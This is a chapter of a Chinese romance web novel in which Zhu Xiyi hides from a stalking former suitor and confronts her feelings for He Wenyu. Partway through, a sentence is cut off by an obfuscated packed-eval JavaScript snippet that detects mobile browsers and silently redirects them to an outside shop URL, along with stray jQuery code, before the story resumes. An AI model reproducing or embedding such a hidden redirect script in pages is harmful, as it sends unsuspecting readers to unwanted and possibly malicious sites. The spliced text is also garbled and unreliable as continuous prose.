-
被祝西意这么一问出口,怕在她面前丢脸的何文寓突然呜呜地哭出声音来,抹着眼睛吸鼻子靠回她身上。
听到门外窸窸窣窣靠近的声音,祝西意紧急捂上何文寓那张越哭越大声的嘴巴。
“小声点!”祝西意听着门外的动静,压低声音对靠在身上的人警告。
何文寓双手圈住她手臂,嘴上被捂得透不进气,鼻子还有点堵,哭得极其憋屈地唔唔摇头,抬起来看她的眼角啪塔啪嗒掉大颗眼泪。
门外的宋加明发现自己被删,更确信了祝西意就在家里。
他忍着肋骨的剧痛从地上站起来,颤颤巍巍地走向对面的门。
刚要抬手敲,身后那户人家突然大吼着冲出来“谁啊!谁在我门口打架!再不走我报警了啊!”
宋加明在黑暗里扭头看过去,又是一阵肩颈牵扯痛,他慌张地摆手“没有打架!”
“老公就是他,被打的那个!”
“小兄弟你没事吧,要不要给你叫个救护车?”
好心的夫妇一前一后走出门,大哥想搀扶宋加明两把,但又被自己老婆拉回去。
可以口头关心,但还是别乱碰人家,被讹诈就不好了。
“不用了…谢谢。”宋加明看那大哥急吼吼地掏出手机,吓得伸手阻止“别报警!我也不需要叫救护车!”
害怕惊动更多人,宋加明捂着胸肋呲牙咧嘴,有点一瘸一拐地跑下楼。
只见人落跑得十分狼狈,一楼不太灵敏的感应灯,都被对方拍在不锈钢扶手上的咚咚声跑亮了。
“……好奇怪啊。”
……
祝西意这才撒开何文寓的嘴巴,将他一把推开,一声撞到沙发靠墙的动静闷重。
他把自己手心哭得都是一团团的眼泪。
祝西意点亮手机屏幕起身,先去开卧室灯。
室内突然大亮,后脑勺还在疼的何文寓适应了好一会。
他转头看见祝西意站在书桌旁,一个劲擦着手心。
“对不起,我只是……”
只是听到你哭,也会感到同样的痛苦。
连何文寓自己都不清楚,应该随着年龄变得稳重的情绪,从什么时候起变得这么容易波动还脆弱,眼泪跟不要钱似地流。
“过来拿纸巾擦眼泪。”祝西意蹙着眉往后看了一眼,终究还是看不下去他那双红了整圈的眼眶。
何文寓吸着鼻子走过去,在她书桌上抽走两张纸巾,一张擤鼻,一张胡乱擦掉了眼尾的火辣。
祝西意往旁边瞟了一眼,他鼻尖红彤彤的,唇线薄薄地抿了又放。
“……行了。”
何文寓抬起脸来,茫然地看她。
“没心情安慰你,别哭了。”祝西意抹了把他的眼尾,嘴上很嫌弃,手上动作却很轻。
她掌心搓着他脸侧,左右摆弄了两下。
何文寓当然知道祝西意现在的心情也很一般,肯来搭理自己已经是额外用心的表现。
被祝西意摸顺毛了,何文寓垂下眼尾,赶紧握上她手腕,用脸侧留恋地蹭在她伸来的手心里。
唇角在埋头时不免刮到她掌际处,他嗅了两下祝西意腕间的皮肤馨香,指节握得更紧,张唇间故意重重地将自己的唇肉摁在她掌根、掌际、掌心这些位置。
祝西意正擦自己脸颊上的泪痕,手心又被他气息喷热了点,才反应过来何文寓在干嘛。
“好了,松手!”
手心被祝西意抽走,何文寓张大湿漉漉的眼,发梢下露出无辜。
“他们走了。”
“嗯。”祝西意垂下眼,心不在焉地回答。
“感觉暑假期间还是不太安全,不介意的话,你要不要跟我换房子住?”
何文寓轻抿下唇,面露担忧。
“或者我干脆在你家做晚饭,呆晚点,真有什么事还能帮上你。”
送走一个马洲,还有一个宋加明在县里伺机而动。
从上次宋加明在她生日登门来看,也许祝西意根本不怕他,甚至可以对他强硬驱逐。可何文寓担心宋加明这种长期被人忽视跟拒绝的心理,跟踪尾随,甚至窥视都会成为常态。
如果让祝西意长期跟这种心理逐渐扭曲的人独自周旋,哪天对方真狗急跳墙了,何文寓不敢想祝西意会不会受到实质伤害。
“……不用,太麻烦你了。”祝西意喃喃揉起手里的纸团,目中无神地靠到书桌边沿。
“不麻烦!”何文寓摇着头往前走了一大步,站到她肩旁。
祝西意扫了他两眼,看他努力把哭过的眼睛,睁得更坚定殷切些,随心笑了他一声。
这个人的喜欢,怎么愣头愣脑的。
祝家破产后,偶有债主找上门。当时的祝西意在高中住宿,每周只有周日能回家,一个月回的那一两次,都能碰上债主堵在一楼的大门那里,抽烟辱骂。
整个村子都能听到祝家被追债的动静,村民习惯了,祝西意也是。
她因为回来得少,没被债主留有印象,他们是奔着祝尧来的。祝西意每次会先绕到家后边的巷子等个十多分钟,确认没有任何债主堵着才会穿过楼与楼之间的走巷,现身到家。
那些路过的村民没怎么见过祝家的人,对偶尔回来的祝西意,也只以为是外来务工人员的孩子。
只因为祝家在外几十年,一朝没落突然回来,又躲着从不敢走街串巷。已经跟村子里的人情社会严重脱节,别人看到这栋老体自建房突然亮起,还以为是租出去了。
后来祝西意就不再回家,高三功课繁重,家里又鸡犬不宁,她也“躲”,跟黄琪她们住,努力把自己跟祝家变得毫不相干。
但心酸的是,对于这种追到门口的危机,尚且能有一扇门挡着情况下,祝西意却悟出了点应对方式。
尽量不要正面冲突,尤其是针对马洲这种怒气上头的莽夫。
她还是摇头“不允许私下换房。”
“那我正好过来这边做饭,待晚点。”何文寓抢答。
祝西意张了张嘴,无奈又合上,话都被他说完了。
“你觉得,我在害怕?”
“是我害怕。”
何文寓握起祝西意的左手,想靠这种方式证明自己还能给她帮上忙的可用感。
“你的确不怕跟宋加明和马洲鱼死网破,就是因为这样,我才担心你会受伤。”
“西意,这些都不是你的问题,不用你独自承担。”
“至少让我跟你一起。”
祝西意颤了颤眼睫,手心下意识收回才发现早就被他握紧不放。
早就该料到,心会有这样的失控一刻。
何文寓长得不差,甚至能给人回头多看两眼。爱比钱给得多的家庭,养出他小小的骄傲。会下意识把在父母身上感受到的,具象的爱,给到祝西意身上。
而非马洲那样,浅显的伪装。
跟马洲交往期间,祝西意还算能接受,他行事比较轰轰烈烈,真正意义的厚颜无耻展开追求,闹得全校跟着看笑话。恋爱前装得无比体贴,恋爱后原形毕露。
祝西意知道,因为自己“看起来很有钱。”
这是马洲在背地里对自己的真实评价。
李欣瑶跟黄琪根本不看好马洲这种虚张声势的人,祝西意也从没跟马洲介绍过朋友,更多是一种不得已的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777642|208689||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
妥协。当时的祝西意在家里已经全然陷入无助状态,她迫切想在毕业后走远,后来发现哪怕是去n市周围也不够远了,要出省最好。
偏偏马洲趁人之危,在祝西意最心烦意乱的时候,用人尽皆知的追求方式,来打扰自己的大学生活。
为了清净点,祝西意对这段恋爱不怎么上心,而马洲很直接,需要女友的热情回应。
长期不搭理他,便激情出了轨。
马洲在猜测里确认祝西意家里的情况后,还找家里人跟她吃过一顿饭,祝西意本就不知情见家长的事情,还在桌上冷言拒绝回答更多家庭信息时,马洲对她的态度就不再鞍前马后,变成种欺压,甚至半强迫。
哪怕出轨了,后来被她发现也觉得自己没错。
追过来也带着显而易见的目的性,祝西意已经能猜到祝家为了借钱,根本不在意女儿在马家父母那里的颜面,也许什么都承诺了,同意“卖女儿”也不是不可能。
“下次别说这些听起来就滥情的话。”
祝西意恢复那张冷脸,起身从书桌边站直。
尽管手上还给他牵着,身体已经在跟他保持距离。
祝西意见过不少男人的花言巧语,她也想相信何文寓的真心,只是总在对自己的反复怀疑里,难免痛苦。
长久下来,祝西意宁愿推脱跟失去某刻的真心,也不要又见证假意的浮现,很耗费心力。
“你不喜欢听,我就不说了。但西意,不能因为别人的辜负,就对我一概而论。”何文寓苦笑着。
“我也会偶尔受挫的。”
他重新拉起祝西意的手,放到自己的脸侧轻轻摩挲。
就像在找安慰那样,求她别推开自己。
“无论你想做什么,我都会等到你认为尘埃落定了,再试图要一个答复。这期间你可以考验我,可以用我给你铺路,就是不要……让我没有你。”
祝西意定眼看着他在自言自语,偶尔对上他痴恋的眼神。
她真的没办法保证,自己往哪去都有可能,一年后的今天,也许两个人早就分道扬镳。
“……忘了说,你也别总这样,追求过程里都是平等的。”
祝西意实在觉得有必要纠正一下他,何文寓他每次患得患失的时候,让自己很容易上头。
“可我觉得这样很好,能让你喜欢的话。”
何文寓从来都是个懂得钻人喜好的人精,他以前懒得搭理别人是因为他们都是无关紧要的。
想让自己和颜悦色几乎很难,习惯了被人追捧,根本想不到要低头。
在祝西意这里,何文寓意外地发现自己还有求荣的天分,而且尤为上瘾。
喜欢她的抚摸,眼神的注意,祝西意对自己说的话,都能轻易扯动自己原本随着年龄趋于平稳的情绪。
合着高反那天,管子里给自己输清醒的,是祝西意这人的魅力吧。
“……你现在像什么知道吗。”祝西意无语地看着他嘴角又冒起荡漾来。
“什么?”何文寓困惑地抬起脸,蹭她手的那一边都有些发红。
“听不进劝的赖皮。”
愣了一瞬,两人都反应过来这些对话有点打情骂俏的意味。
尤其这种对视的氛围间,何文寓还在捧着她手,心跳得越来越快。
祝西意抿了抿唇,把自己的手往回抽。
“就当我是。”何文寓两只手都握上去,一点都不让她松开,眼中一动不动地看着她的耳红。
他现在确定,祝西意是喜欢自己的。
明目的笑意对上她躲开的视线,胸腔的心跳根本无法镇定下来,两人之间看似客套的距离顷刻全无。